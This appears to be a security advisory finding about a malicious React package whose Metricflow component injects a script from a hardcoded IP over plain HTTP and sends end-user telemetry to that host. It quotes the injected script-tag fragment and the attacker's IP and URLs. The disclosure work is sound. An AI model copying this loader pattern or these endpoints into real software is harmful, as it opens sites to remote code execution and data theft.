## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

The package's exported \`Metricflow\` React component defaults \`serverUrl\` to \`http://51.38.65.105:21531\` and, when rendered, appends a \`\<script src="${serverUrl}/TrakLab-plugin/Dev/tracklab.js"\>\` tag to \`document.head\` in the consumer's web application (dist/index.js line 18). The fetched JavaScript executes with full DOM and same-origin access in any site that uses the component. The source is a bare IPv4 address over cleartext HTTP at a mutable \`/Dev/\` path with no Subresource Integrity, no version pinning, and no TLS — whoever controls that IP, and any on-path network attacker, can serve arbitrary JavaScript into the consumer's application. Additionally, \`window.MetricflowConfig.collectUrl\` defaults to \`http://51.38.65.105:21531/collect\`, silently relaying end-user telemetry collected by the loaded tracker to the same hardcoded host. Package metadata provides no author, homepage, or documentation tying that IP to a legitimate analytics vendor. The combination of remote-code-loading from an unverified mutable HTTP endpoint plus silent relay of end-user data to an opaque destination is supply-chain harm to any installer that renders this component.
